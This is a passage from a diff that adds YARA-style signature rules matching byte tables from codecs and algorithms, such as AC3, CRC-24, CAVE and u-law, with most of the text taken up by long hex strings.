5FAA3E987F408FA51FFF0EDAEFDE9E8C8FFFEE7D4FE4DEF8404C5E82802ADF56D0A89F08903C2EFFD064FE9380527F83C08F1E81306F0F1560499E5F2FA78F24D003CE88DFB5AF00AFBABEF1AEC20F34404E1F481EABDF4C007EDF7C1ED86EF77FADCEF4DF116F1EE04F6F3F4EB9AF2700B28FDBBE8C3F4E30472F6B7EEF1F62CFF4CEFC7E737F8EE067AF784EA04F199088CFAEAE4E2F63E09F3FA14E8D4EF390547F867E6A6EFDC06D3FAFAEB16FBE802B8F1D1EB92FA2D06B1F453EEBAF27D09B7F814F091F3EB0732F6D1E736F32E07EAF89AEE3FF5A30A5FFB01E643EDFB00DDF544E748F72807D90013E95EF9860054012AE6EBFB4E0874F805EDC5F7DA077DF67EE7AAF9F80AA2FAD1F377F309026CF0D4E9DEF75CFE69F55FE4D9F1B802D9F69EE880EF3C026AF60CEF57EE72032DF5DEE773F817025CFAC5ECBDEFD006EEF7F6E611FA220485F52BEC5FFB580358F74DE474F6AF02DBF55CEB8BF7A70C1FFC65ED27FAC50095F3E0EFA2EC74FE06F242ECDAF079FD90F5A3E4ECF28F06D5F979E907FC160A85F863E41DF53305EAF764EA08F7C2027AF43DEC29F2CBFCCBF111E6D5F8F80348FD15EA9CEB4AFDD5F296E80DF5750B27FDC4E895FD3C068CF592EABDEE99003FF317EF90F26E0661FA0DF076F0B1000FF23FEFD9F5C804FDF3B5E94BF3780709FD32E693F2020AC5FD7AEB74F60103A0FE6FE6AEF34602B1FB30EB3FF7060A11F9D0E370F8020641F86EF16DF6AA01E3F00AEC97FAEF076FFBBAE665F50D01CDF352E950F69FFF08F19DF1CCEC16FE16EF3BE7DDF763FD8DFFCFEC11F0BBFCBFED36F33FF61E09A4F5FAFA3DF9F60954F1D1F293FC9E0377F023F6E1F73F0BBFF544EB08FE270CB9F9D8ECCC01FD0F30FB37F85006301287F867F268FB2F0C44F7DCEF22FA23090FF612F67F04F10D0AF6E3EEAE014B0CDEF7D0F063033B0F87F9D3F40A056A1045F8CBF003FF3B0934F557F9B002F30E95F451F70809740EB4F33EF830FD9D13E5FC97F3F200A007E8F2C2F8E505E00919F19BF361009B133EFD7FF56FFF5F05B5F01AED7FFEB80985F633EE9DFE43060CF43EF22807DC0C8EF547F10C034A0970F51DEF74F8560D6FFB4CF58604A90A37F3C1F1D200B805B4F4DAF6CFF7E90571F1BAEE26FB3A0CD7F8E4FAF1FBC210ADF826F919F6E20CF6F6FAEF46FFC50FBAFB10FC2206DA0CAB0006F3C3F5E70A00FA15F6DBF5720D78F9ADF221F8560E6AFBCFF7DA02CD1589FA1AFAB6FFD4122CF80AF09CFC4911FDFC44FC26FC380E93F4D9F71EFB880D66F614F395F63605ADF128F77BFEA40FC2F858FDEF00DA0FC4F2B3FA1E00B10BB6F1EFF1D8FD990490FBAFF5BA011611A7F923F602036806C9F09CF385FC350FB8F94CF40D00CD0C92F67DFC1F0476113BF65AFEB8FD930D35F146F8AFFD060AA9F2B2F300FB3A0919F4F8F1E0000204A4F018ED5BFB310E91FC90F031F7640BDEF861F91C001207A3FE17FD4CF6EC0C23F308FC1B06F514E1F884F705F9AA10F9FA27FB61F88E0F93F627F8B1F51A0968F2F113AEF9E4F521F861190DFA6EF372FC7E19FFF613F802F9A9149DFF94F270FE9516A9F9D7F9C7F58B1462FDCBF35CF9C71818FBB5FE6AF31F1F5AFD6DF74AFAE71749FD54F4FEF9DC17EE01E1F2F4F9CB13C903E8F66DF5AB1D4DFE27FAF8F7111B31FD8CF67FF9461448025AF4C9F7DA1744FE7DFA4DF5D0152101F4F80DF59C14E30064FBDFF2781D0BFAD6F843F9621742FAD2F55BF9E81303FD50F942F42F156BFFA3F07BFBE31D1A0073F61DFA891230FE39F9C6F6E8140DFCBAFB31F89C1860FDE2FD62F8131A04FCDAFADDFB321C0CF8A5FD62F64B1E16FA82F633FBB113C101E0FB9BF6361A1BF7C0FA14F7A81ABDFA32F7FB00B417BFF829FCDCFAE3157FF756F53BFACE16DDFBECF136FCD413EBFCB1FE93F62F189EF930F8AFF7E413F4FA11F6F6FBB914B30152F9C6F8FC17310280F7B4F6601A5C0140F69EF805191101B6FB26F51E1BC4FA10FE9BFA761451FD6AF6D3F62F1B8EFCD7F8F3F7941803FFB3F769F7CE16C2FD09FD71F32A1B34FA80FD2DF54A1D56F946FB96F7741A15FC2DFB1CF67E17E40096F7ACFB1F1B7EF7ACF59EFB5E1C05FD10F4BEFB81183AFAD0FBB1007E12A901A0F46501D91BA800FFF9E9F6241C4EFE16FD9CF5DF1A3900F1F3E2FA0F129EFD32FD7DF2A519E1FD32F8ADFE9012EBFEEEF783FA0B1D78FA90F807FEEC0F96003AFB1CF2AA1BE4FF50FA6AFB351742FED2FA7AFB1E0F90F956F6E3F55A032500C5F277F1E50D21FA80F9C9F2080D4CF8F9F358F7720C3C00A7EFA1FC800DFBFC06F467F623106FFCF4F7D7F54F114DFDEEEF34FC850DB2FEA0F129F9D60735FE5AF70DF12A05200000F57DF3491197F819F566F898111700A3F28BF8120C8BFCC2F640F3890CC5F66EF1BEFCF00C41FAC7F1D5F958107BF905F320FB8E085DFC1AF380F4830B1BFF49ED55FBE407A6F974F5CBF3A608BAFE00EF6DF9D60CC5F594F666F6E803F5F5DFEF92F7C009BDF5E5F167FAFB0771F789F70DF10B0A10F685F86AF3E60723FAF0F08BF77D0A64FB4BFA3AF04A06F7F6D9EE6BFB240946F689EFFCFDCE06C9F5D0F19EF70B02F3FA6AEF76F68D0E5DF53AF4D8F9E20D9BFA98EFC8FC0B05C6F957ED6AFAAC05030270F40AF1A81082FC17F3DEF82E0A54FA56EE3AFCAC04C2FC39EDE8F81E04F9FCC8F519F06E109F0108EF94FBE40BEB01E2EF72F8DC037BFCE7F28DF2C10609F425F7D6F24B0F900353F4ADF6C50E2C0167F616F4980A9C03BAFA4AFB86109501D9F69902560797FC1FFFE3FFB60D3800CAFAA4F2220BA705A5F5B2F3E6053EFDE3EF4DF62B0C190364F9CAF06B0AD50063F41EF5A004B0F615F49BF35B081C03E1F78FF1B80535FA72F13EF5670984FBB5F0DFF9340A0DF96FF321F76609CAF487F440F65C087E00C2F13AF5880BF4FB0C0171FA5D0075F8FFF031F2850177F4C9F2F1F2CC2179EA82F93502031D19F519F6B6FC5D2163EF81FA24FC521F7DF34AF469003F1CAAF042FC1C05A31C96F195FE1A0A931AC2F14EF779FCE31F05F523FE45F78C2416F16BF954FD1221DAF4D2FE46FD0A2168F3050217018A1FC5F5D2FA240A4B2237F521F647FE8519B9F47DFC48FDE21CFFF696F988FF59203CF1EAFF1905C623C3EEF5FC8503472388EBABFB8E060D22BEF19A01CDFB951C83F3CEFC28F7FE1EAFF642FBA2F84020A7EEDDFEB5FDBE1CBDF24204F2FEE624D2ECC1FA27FEFB1F8AEDD8FC8E04501DFBF0D1FF0B015D1F9EF7FDFA81FE251D6FF5ABFC0F039724CCF17BFD9EFEFB226FF2CCFE65F8E42185F5CDF7CD05391D45F499FC44FE4F1FE9F477F99704231BDDED09FAE9FBC61DF1F577FF40FCAC2449EF3DFDD6FABE2075EBFDFACBFDC81AD6EFFAFB7602D321F5F59CFB7EF93B2221F1E7FDEF09711F06F276F7A4FD5020D1F63FF842FBC71A2CF109FAA1F90A1CB0F4C0F924F9801BB8F4A7FFCEF97518B5F2F8FEE6034C1EA5EDF9F9BEFC021EF2ED0AFD47F9872278EF8CF4A7079324B9ED5CF82700CB1EE0F17AFA68FA7C228CF3B4FAE0FA421E6DF087FF88F62E2448F34BFD3203F61DA4F26CFFB00DB01C91F360023B061023D5EFC8F81805341ADDEF2100ACFCA01EB3EE1DF74F001423EEF0EAF4C501871E04EEFDF5B003B420BAEE09F9FF0BAF21F8EB26F9480B261D2FF379039803E020C5FFD8FADFF8F81E30FA62FE3DF6AE1F2FFCE9FB06F8562051FDC3F9F2F9341F52FF2FFCC6F7A121F5F9A4F909FA2823FAF84EFC1FF9FA2298FC84FAC6F9EB22D20114FD44FB4D25B7FE4FFFB0FAC324EEFF9AFBE0F99B22F2FC18FEC6FAFB2226FFD5FF47FBAB23BBFF3BFE17FC6D2311FABDFB51FB1F24E3FACAFD86FB5021AFF9E1FEDFFA531E17FD6BFF08F86620A9FE0101B7F5A52783FCD8FD8FF9B6246DFCDA0006F8E72556FB5DFDC8F9722544FD55FE52F9E222F1015BFA3EFB4524D5FA5DFFF0F9EF20F7FA27FC84FA052371FD8D0235FA462517FC49FC98FBF52379FDDBFF8EFC9B21C8FF0202FFF85424F4FFD4FAC9FD4522EE0048FF50FAD526E6FABBFF00F99024170188FE81F8DC23E3FE5F0086F7C2260BFE36FCDEF995202BFAA8FCD4F74C222BFCAEFC0AFCF925DCFD20FABAFBF5262BFAE201C7F70322B3FEFDFBC1FB8A232BFEC5FE45F9AF22E6FB6BFD1CF899225A029EFC82F8F122FFFB96F7D1FB242176F82CFE7DF7D92391F820FFC0F7CC2177FFCFF742FB672333FC83FAFCFC702438FE96025BF6752747FD7F00BFF7D5252B03C9F600FC8A21A2FF34FE42F8F41E73FF03FE2FF65D1E63FD95FFEDF4BC21D8FBD2FF97F614265402E9F8BBFADC2230012302CAF5E224EA027FFB71F9EE24EAFEEFFD48F828213102E0FF90F76327C1FFF8F9ACFAAE2402FB380295FB0C26CFFF33F772FC340EA9F6A5FBE2F17E177CF392F8F0F89B1657F2A4FBE2F50D111AF4A0F994F57D1270F713F85CF624153FF59FF960F66711D1F201FDB9F2681194F929FCE7F4C70F25F6260081F04E0D9AF548006BEDB7102BF81F04D1EEE1109FFAA4FC36F19F0E95E975FD19F4C80D7AEA690124F06019EAEC78FF7FF5A1117AEB270256F09D19ABF2A4FF09F45A10F5F7BB002F004218EBEF18FB3FF8961709EF5F01B4F7D11054EDE3F797F8801119F14CF703FACE1597F1C5049BF29C15F6ECAB0433F57619DBF477FCF8F55B1570F7D601EDEF2B10D7F9F0005BF2A1147AF827FDF4F25E14CAF44F053FEFE60B4AF200FA72F33915BFF432FB60FBFD12A4F0D1FB19F53D1676EF8EF822FAA40FA1F0F4F8B1F6900E30F1A9025BED250E2AF461F8DAF50D14C1F02C008CF1E90D85F29F044BEBA21336F5DBF60CF9D11644F62DFE76F3D71501F9F10158F6BE13C6F0E2F8CFF7B51618F5530043FA50116FEE8606B7EBDA14D3EDABFB68F7A70CCFEE78FDB9F16308F2F150FB6EEF411121F7F0F976F35E19F8EE540313F259092AE7A8FC54EE5F139CEFB1FC85FA3C13C2EA1EFF2EF49E1049EBE6FA88F61910CAF3E2F643F86D0DA5EE48FA77F4830C7DF2EFFD0DEF0817C7E81F0252F3C30783ED24FF01ED0611B1EEFEFDF7F3E71190F614FE11F77F0B55ECA301C1ECEE14F7EBDB032BEF6C11C0F2D806FEE9570DE7EDE305C7E82B03ACED43FE1D09F10313EABFF850053A0568F560F5DC0BEA0356F1EAF52809EE0200EEE2F6CA02FB0779F3FAF47D0874FFD2ED77F46501CAFF46F0B8F6870A420762EC33FDEF081008CAF02EFDB70CA70A32EEB4FE2B0A1207FEEA1B0122075F0F1AEFFA02370D01FDA7ED32F68207620828EFEEF36906360007E9BEF79903C8077AE980FD2606B00405EBA6FB24079D0B27EB2200DA08FB0566ECFFF4A804060C26EE7500C6079C0342EF94FA990A8E003EECE0F4CF0596FFDCE78FFC4A03A102C7EA1BFF3C060F03B2E920F532028F079FE927F8580366FED1F202F3AE0AEA0048F4BCF5BC0CDD02B3F222F13506030343EF28F22205A80415F288F08208CE004DEA1EFB0A067EFF19F146FBE10B86029CF077FEB00B48FFBDEC19F98507BA0A00EC1DF7B80588096DF1E8F2A90A16FEB2EC3DF1E5034400B4F5B9EFC20E30006EF0EAEF3A082EFC92EAC8FA6E0566044FEBA9FC800228FE79F0DAF11506980920EB0DFA7006FAFCECE98FF67B04E30316E8D4FC6C04D20C25EE1DF97F08470EEAF05CFDF00DDE0BC1F178F9350D230A6CF42CF5BF0C5010E7F284FB021143068EF224FA740D3C03AEE709F9A6028D05FBF2F8F34B0D610489ED7CF8C00746FF25EC56FD0407330326F560F21202A501C7F408F1240A740859EFBBF9EA084902ABEE56FD15FE7CFD9CEE7BFB1509C70735EFD200120B5708D0F1BFF79902C6E25CF59AF59CFAB9E48AF754F14BF253E461FAA3F6D8F3B0E117F409F3FAF423DF38F5CAEE1EF395E899F014FB5AF139E1EEF978F2D2F556E70EF8DAF06FF96FDDDCF789FA31FB0FE4D6F598FACFFC97E0F5F569FE1FF5B2E347F7D6F9040158E3D5F023F0C2FA3DE2BCF0DAF67E0114DE74F182F929FD56E196F416F987F292E50EF8F3FA3CF811E5BCF738FC60F120E4E5EBC6F507F5E0DF74F129F6CBF9C9E542F533F425FF85E09AF9B2FB99F3FADD19ED85F0B9F36DDB9BEC47F316FC2DE829F9ABF375FECBE670F30BEE1DFE39E19BEAB9FCB2F5DEE33AF0F2FDD8F4AAE034FB8AF892F963DC8FFAD2F919F679DC7BF584FDD3F58CDCECF567F229F679DF05ED8AF6530050DFAFF7ECF683F796DE2DEEFEF029F822D75BEF72F8DCF70BDA8DF30AF798F867DACFF034F468F37FD9A5EC71EF78F7E8D9D1F61BF7C7F3CDE3EAFAB1F5BDF9CBE2F8EE7AF1D1FDD0E90FF8EAF6FAF332D854EADDEDEFF129DBE7EF91FC51F653DFB6EA1CF861FA6FE7C6EBBBF9FBF081DFE6F051FD18F53DE0F9FBE8F195F0F2D600F651FBDEF7F9D4C8F144F51FF4C6DD62EC91EB76FB57D865F5D8ED05ED06E1ABEB94F8F0F1A7DA24F234ED76F111E29BED64FB3DFA8FDCB5E9E9F85CF466DEC5F68DF546F111D912EA09F202F17CDF13FCADF74AF3A5D797E90AF684F4D6DFE6F2DFF281EE34E061F852EE3FEEE9E59AF514F7AAEF9EFB16FAE5E62CFF360084F9D0EA84FAFE0026F59AEB4E03F5FE83F94FE62E03CFFE1BF881E9CC0501F972F62DE5AAFF8FF4AAF335E6F9F891FA8BF34BEAE3FBBEF98CFC91E543FB97FEC2FEB5E7D4FF12F0B5F56DEA4FFE44FCDE01E2EEBE051CF362F67BE85FF5C4027EF623ECE4FD7DF6E9F1F1E9C2F715FE92FBB7EDBAF4570095F2DFED56FBB6FD91F450ED6E018EFAEAF67BE85E01610029F6BAEDB8F7F5F98DF833EC4FF40C0174F191ED7F00C5FC5AFBE8E8780489F0EEF60EE54AF858F54CF7E6E6CEFD38FE66FD67E9B7F91302B8FB9DE970FD0FF250FDB5F06E0070ED43F9D7EE87FE76F30DF3D0E4B8FC50FDA8F295ECC504D7F84D00A5E67EF611FF01FF3EE58AFCC0F72EFA6DE77FF5F8F91DEEB2EB13FB2DF552F070EAAB029DF9F3F478EABE0442FCEAF529ED3809E3F72AEEDEED6D01D8F38AEFB8E8C9FC5DF632F606EDBB05E7F9B9F242E9D300F9FCC7FBB8EE4C0A11FB190016E790FA6CF292FED7EA8FFA98F33CFACBEFBA0551F60602A0EEFFFE50F49E00CCED01FBD8FAE0F081EE7B043DFAC8FE3AEB1B0239F271F91CE96FF9BBF292F227EA4A0707F079F665EDFB0414FD5FEEB1EDD0FF8AF74DEEADEDD8F4AFF6ABFC6DE88DFD56FB05F088EE55F856FD5EF30CF027F449F369EC30EBF4FFF7F694F207EE65FF18F5F2FBDDE41DF824FB0AFA75E9A6F8B9ED6DF17EEA1B010AF4BEFF1AF20AFDE1EC5DFB8F12900E50E240F5F80C0512B9E961F4680F630A94EC17FB0AFF880B83EF49F6A606C710ACF407FA9A0947133BEC97017009D20FEDE46AF2C90AA5086BE8AFF0780C4A071FE8D5FC6709C60E0AE94CF9B704960DBFE8DBF49F08980A69E569F3BD0A0B0E38F3ABF36D05CC0E08EB90F8BC07D513BDE38AFA030CC41163ED61F2C30AEC0A16E2ADEE860A160AABE446EFC801F80E45EAD5F3C1FF810E6CEF84EFAA05CF0A27F16EF7BE00CF10AEEAE9EFA607E2087CE373F2BA0D790C0EEEEDF707039012C3F28AF9B805241513ED65F2C4036D0D89E8FEF482063312FBDD71ECDD06D70C37E9DBEE0104630C64E90CF9680F4D0EB2EE68FC9207911266E4BFF8EF11BA1123F2FFFD9305C514A3E23CFB430BE90B4BE281F55207AF0AF2DD3DF0740A920ECAE0BDF0A1042F0A56E830F9150D2514BEE83502590CB20CB2E69CFD8A07DF0879E65BFAFEFF5206FDDCC9EFA804CC0FC5E30EF240068A10BEED4F005302C70B7AF0AE01A70A11144DEB0900820EAB1285E575F5F8FF840998E487FB0D050609D5E410F3FE05090747F0E4023A07D60F8BDA7CF23A109614CCEE63FBCA10351444E319EEEEFF540A8CE62DFB57115A1883F2D3FEF8107011DDEDFA05F30CF41021EE03F6AA0E620EC5F153F20308B50BDCEA55F6FD082B062AE9030150052C0976EBB2FA1A0446035AEA25FFE9187616AFE978F49A038303FFF791FB5614090463F9A2F8E31296FFD8F650F28810F3FF55F6E2F6B3136604EDFC0BF6280F5A08A9F3DBF6DE12470B0CF90FFC60180D0819EFDDF2020B7603D0F249F50810CF004EF3E0ED9E0ADA0582FECDFB1E11840D90F6B8EFCA0D300324F96CF5FD126E02A9F8CFF72414490B40F68EF68A0E6F0A63F54CF30D0D980721F005F0EA0C0B0123F220F1A30E4A03B5F52202A2166607BFF89FFB1F117C0F4EF78AF7A10D5E0E5CF26CFDCB14270427F4C6F31E11240771F58FFDE118230B88F9E6F4E811F0FD53EDC2F52611310863FE03F8D913DB0B1EF19AF5B4114704B8F3BEF85F14580716F2FDF840139E0240ED1BFA45144307C3FB08F1491084034FF83AF3290B3E0B55EFD4EF680C0D07E7EB71F1C40D9004BEFAACF87D15D4067AEC7FF4730E52017EF2E8F34E0D85FD29F977F3B40D8B0135F6AA006317C10254F1D0FB0F16D00DCAF461FAA2138C0CB7F067F3550E600865F1E2007316FC02FCF7CCFC9214150C72F314F169095709D2EEE4F5AD0D26FF7CEE1DF954103AFFD8F20BFA0A117AFF99F6E0002913CD0DA7FA87F47812FC0610ED55F93F10530382F22BF9B9109E0C3AF8F3F09F0DC706D3F35C000B18EB0F8CF558F6EE0FB3FDF5F924F8420A2B074DEFB4FDD812D502A7FD37F7980EDC0D24F0C3FFD514190C31EF07009719EE0B75ECFBFB9A16F70C06F528FD1015C70030FB }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap1__16_lil_48_
+{
+strings:
+	$a0 = { FF1B83125204AD10AC28D412BAE98DF36DC790FA15F8510379023718611B15CEFEF6B4F544FA89E4A81D7929C6E80AF4 }
+
+condition:
+	$a0
+}
+
+	
+rule generic_sampling_rate_table__96000____8000___32_lil_48_
+{
+strings:
+	$a0 = { 007701008858010000fa000080bb000044ac0000007d0000c05d000022560000803e0000e02e0000112b0000401f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAVE_cave_table__8_byt_256_
+{
+strings:
+	$a0 = { d9235fe6ca6897b07bf20c3411a58d4e0a46778d109f5e62f134eca5c9b3d82b5947e3d2ffae64ca158b7d3821bc96004956231597e4cb6ff2703c88bad10daee238ba449f835d1cdeabc765f176092086bd0af13ca72993cb455fe8107462deb87780d11226ac6de9cff3543a0b954eb130a496f857498e051f627cc32bdaedbb860d7a97136c4e5130e5f22fd8c4a99176f01743382984a2dbef655eca0dbce7fad8816f001442257c5dc99eb633ab5a6f9bd9fe7144c537a2882d00b613ec4e96a85ab5d7c38d3ff2ec0460711b290479e3c71b66814a259ddc5f3eb0f8a29134f65c6789730522aacbeebf18d04df536ae012f94c3498bbd5812e0776cda }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_24_Radix_64_poly_0x864CFB__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000001be64c2037cc98402c2ad4606f993080747f7ca05855a8c043b3e4e0df326100c4d42d20e8fef940f318b560b0ab5180ab4d1da08767c9c09c8185e1be64c201a5828e2189a85a41924e1661d1fdf281ca1bbea1e6316ac1fdd726e16156a3017ab0ef21569a3b414d7c77610ecf93811529dfa139030bc122e547e37cc98403672fc8234b051c4350e350631350b48308b6f8a3249c2cc33f7a60e3a3fbe503b81da92394377d438fd13163cc62d583d78499a3fbae4dc3e04801e2c2ad4602d94b0a22f561de42ee879262ad347682b6d23aa29af8eec2811ea2e21d9f270206796b222a53bf4231b5f3627206178269e05ba245ca8fc25e2cc3e6f9930806e2754426ce5f9046d5b9dc66960a38868dec74a6a1c6a0c6ba20ece626a169063d472526116df1460a8bbd664938598652de15a67ef4c1c665128de747f7ca075c118627703b52476bdd1e67286efa873388b6a71fa262c704442ee798c5ab078323e727af093347b4ef7f67f75c9b87ecbad7a7c09003c7db764fe5855a8c059ebcc025b2961445a9705865eac3bc85f125f0a5dd0f24c5c6e968e55a68ed05418ea1256da475457642396535f1dd852e1791a5023d45c519db09e43b3e4e0420d802240cf2d64417149a6454a77e844f4132a4636be6c4788daae4e40c2f04ffea6324d3c0b744c826fb648b951f84907353a4bc5987c4a7bfcbedf326100de8c05c2dc4ea884ddf0cc46d9cbf208d87596cadab73b8cdb095f4ed2c14710d37f23d2d1bd8e94d003ea56d438d418d586b0dad7441d9cd6fa795ec4d42d20c56a49e2c7a8e4a4c6168066c22dbe28c393daeac15177acc0ef136ec9270b30c8996ff2ca5bc2b4cbe5a676cfde9838ce60fcfacca251bccd1c357ee8fef940e9409d82eb8230c4ea3c5406ee076a48efb90e8aed7ba3ccecc5c70ee50ddf50e4b3bb92e67116d4e7cf7216e3f44c58e24a289ae08885dce136e11ef318b560f2a6d1a2f0647ce4f1da1826f5e12668f45f42aaf69defecf7238b2efeeb9370ff55f7b2fd975af4fc293e36f8120078f9ac64bafb6ec9fcfad0ad3eb0ab5180b1153542b3d79804b269fcc6b652c288b7eca64ab52e0b0cb4906fcebd587790bce61352be24be14bf9adad6bba1e498ba1f805ab8dd2d1cb96349deab4d1da0aaf37962a831d424a98fb0e6adb48ea8ac0aea6aaec8472caf7623eea6be3bb0a7005f72a5c2f234a47c96f6a047a8b8a1f9cc7aa33b613ca28505fe8767c9c086d9ad02841b004485a56486819e5ac880203e0a82e2934c835cf78e8a94efd08b2a8b1289e82654885642968c6d7cd88dd3181a8f11b55c8eafd19e9c8185e09d3fe1229ffd4c649e4328a69a7816e89bc6722a9904df6c98babbae9172a3f090ccc732920e6a7493b00eb6978b30f89635543a94f7f97c95499dbe }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_ulaw_encode__8_byt_8185_
+{
+strings:
+	$a0 = { fffefefdfdfcfcfbfbfafaf9f9f8f8f7f7f6f6f5f5f4f4f3f3f2f2f1f1f0f0efefefefeeeeeeeeededededececececebebebebeaeaeaeae9e9e9e9e8e8e8e8e7e7e7e7e6e6e6e6e5e5e5e5e4e4e4e4e3e3e3e3e2e2e2e2e1e1e1e1e0e0e0e0dfdfdfdfdfdfdfdfdededededededededddddddddddddddddcdcdcdcdcdcdcdcdbdbdbdbdbdbdbdbdadadadadadadadad9d9d9d9d9d9d9d9d8d8d8d8d8d8d8d8d7d7d7d7d7d7d7d7d6d6d6d6d6d6d6d6d5d5d5d5d5d5d5d5d4d4d4d4d4d4d4d4d3d3d3d3d3d3d3d3d2d2d2d2d2d2d2d2d1d1d1d1d1d1d1d1d0d0d0d0d0d0d0d0cfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcfcececececececececececececececececdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcdcccccccccccccccccccccccccccccccccbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcacacacacacacacacacacacacacacacac9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c8c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c6c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c4c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebebdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbcbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbabababababababababababababababababababababababababababababababab9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b9b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b7b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b6b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0afafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeaeadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadadacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacacababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababababaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a8a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a6a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a4a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a3a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a09f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f9f